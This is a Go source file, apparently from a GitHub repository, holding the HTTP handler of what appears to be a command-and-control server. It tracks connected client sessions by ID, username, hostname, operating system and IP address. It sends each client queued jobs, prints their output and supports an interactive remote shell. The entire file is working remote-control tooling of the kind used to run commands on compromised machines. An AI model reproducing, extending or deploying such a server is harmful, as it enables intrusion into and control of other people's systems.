-
Notifications
You must be signed in to change notification settings - Fork 1
/
server.go
81 lines (59 loc) · 1.58 KB
/
server.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package main
import (
"fmt"
"io/ioutil"
"net/http"
"strings"
"time"
)
var handshakes map[string]string = map[string]string {
"buff": "\x0F\x0F\xFF",
}
func Handle(w http.ResponseWriter, r *http.Request) {
var url_path string = r.URL.Path
url_path = strings.Trim(url_path, "/")
if strings.Count(url_path, "/") != 3 {
return
}
var splitted_path []string = strings.Split(url_path, "/")
var _session session = session{SessionId: splitted_path[0], Username: splitted_path[1], Hostname: splitted_path[2], OperatingSystem: splitted_path[3], Job: "None",IPAddress: strings.Split(r.RemoteAddr, ":")[0], Seen: time.Now().Unix()}
var newsession bool = true
for i:=0;i<len(sessions);i++ {
if sessions[i].SessionId == _session.SessionId {
newsession = false
}
}
if !verify_session(_session) {
return
}
if newsession {
sessions = append(sessions, _session)
fmt.Fprint(w, "None")
return
}
for i:=0;i<len(sessions);i++ {
if sessions[i].SessionId==_session.SessionId {
sessions[i].Seen = time.Now().Unix()
}
}
body, err := ioutil.ReadAll(r.Body)
if err != nil {
return
}
defer r.Body.Close()
if string(body) != handshakes["buff"] && selected_session == _session.SessionId {
fmt.Printf("%s", Fore.GREEN+string(body)+Fore.RESET)
for i:=0;i<len(sessions);i++ {
if sessions[i].SessionId == _session.SessionId {
sessions[i].Job = "None"
}
}
continue_shell = true
selected_session = ""
}
for i:=0;i<len(sessions);i++ {
if sessions[i].SessionId == _session.SessionId {
fmt.Fprintf(w, "%s", sessions[i].Job)
}
}
}